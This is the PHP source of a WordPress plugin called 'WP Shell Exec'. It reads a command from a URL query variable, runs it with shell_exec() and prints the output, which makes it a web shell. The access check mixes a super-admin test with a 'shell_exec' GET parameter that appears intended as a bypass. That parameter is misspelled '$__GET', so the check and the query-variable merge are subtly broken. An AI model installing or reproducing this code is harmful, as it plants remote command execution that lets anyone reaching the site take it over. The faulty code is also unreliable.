<?php

/*
* Plugin Name: WP Shell Exec
* Plugin URI: http://github.com/vmassuchetto/wp-deploy
* Description: 执行 shell 命令
* Version: 0.2
* Author: Leo Germani, Vinicius Massuchetto
* Author URI: http://github.com/vmassuchetto/wp-deploy
*/



class WP_Shell_Exec{
  var $custom_vars;
  function __construct(){
    if(!$__GET['shell_exec']&&!is_super_admin()) return;
    $this->custom_vars = array(
        'wp_shell_exec_do',
        'wp_shell_exec_command'
    );

    add_action( 'query_vars', array( $this, 'query_vars' ) );
    add_action( 'wp', array( $this, 'wp' ) );
  }

  function query_vars( $vars ) {
    return $this->custom_vars + $vars;
  }

  function wp(){
    foreach ( $this->custom_vars as $var ) {
        if ( $arg = get_query_var( $var ) ) {
            switch($var){
              case 'wp_shell_exec_do': $this->exec_do($arg);break;
              case 'wp_shell_exec_command': $this->exec_command($arg);break;
              default :break;
            }
        }
    }
  }
  function exec_common(){
    exec( 'cd ' . ABSPATH );
  }
  function exec_do($arg){
    $this->exec_common();
    var_dump($arg);
  }
  function exec_command($arg){
    $this->exec_common();
    echo '<pre>'.shell_exec($arg).'</pre>';
  }

}
function wp_shell_exec_init() {
    new WP_Shell_Exec();
}
add_action( 'plugins_loaded', 'wp_shell_exec_init' );
